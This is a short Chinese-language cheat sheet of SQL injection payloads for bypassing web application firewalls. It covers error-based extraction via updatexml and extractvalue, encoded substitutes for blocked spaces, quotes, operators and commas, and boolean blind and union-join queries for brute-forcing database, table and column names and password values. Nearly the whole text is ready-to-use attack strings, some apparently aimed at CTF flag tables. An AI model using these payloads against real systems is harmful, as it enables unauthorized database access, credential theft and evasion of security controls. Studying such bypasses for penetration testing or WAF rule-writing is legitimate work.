SQL注入绕waf总结笔记
0x01 注释绕过
?id=1' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) or '1'='1
0x02 绕过and、or
?id=1'||extractvalue(1,concat(0x7e,(select @@version),0x7e))-- +
?id=1'&&extractvalue(1,concat(0x7e,(select @@version),0x7e))-- +
0x03 绕过空格、注释、and、or
?id=1'||updatexml(1,concat(0x7e,(Select@@version),0x7e),1)||'1'='1
?id=1%27||updatexml(1,concat(0x7e,(select%a0group_concat(table_name)%a0from%a0info/**/rmation_schema.tables%a0where%a0table_schema=database()),0x7e),1)||%271%27=%271
0x04 绕过空格的方法
%20 %09 %0a %0b %0c %0d %a0 %00 /**/ /*!*/
0x05 绕过引号
用16进制编码表示引号中的内容
0x06hex编码绕waf
?id=1%26%26hex(length(database()))>4
?id=1%26%26hex(left(database(),1))=2
?id=1%26%26hex(left(database(),1))=73
0x07 无法使用infomation_schema的布尔盲注
获取数据库长度:
id=654' and (length(database()))=16--+ // 在16处进行爆破
获取数据库名字:
id=654'%20 and (ascii(substr((select database()) ,11,1))) = 102 --+ //在11(长度)和102(ascii码值)处进行爆破
爆破表名:
id=654'%20 and (select count(*) from user )>0--+ //在user(表名)处进行爆破,正确则回显正常
爆破列名:
id=654'%20 and (select count(*) from user )>0--+ //在*( 列名)处进行爆破,正确则回显正常
爆破数据:
id=654' and (ascii(substr((select password/!50000from/user%20 limit 0,1),11,1)))=57%23 //在57(ascii码值)和11(长度)处进行爆破
0x08 绕过=、空格、and、or、逗号
布尔盲注获取数据库名:
id=%27%09||(ascii(substring(database()%09from%093))>111)||%272%27%3E%272
substring(user() from 2) 表示从第二个字母向后内容全部显示;
ascii函数取得首字母的数值;
联合注入获取数据库名:
id=%27%09union%09select%09*%09from%09((select%091)A%09join%09(select%09database())B)%23
布尔盲注获取表名:
id=%27%09union%09select%09*%09from%0A((select%091)A%09join%09(select%09count(*)%09from%09flag)B)%23
在flag处进行爆破,如果是正确的表名才正确回显
布尔盲注获取列名:
?id=%27%09union%09select%09*%09from%0A((select%091)A%09join%09(select%09count(flag)%09from%09flag)B)%23
在flag处进行爆破,如果是正确的表名才正确回显
联合查询获取数据:
id=%27%09union%09select%09*%09from%0A((select%091)A%09join%09(select%09flag%09from%09flag)B)%23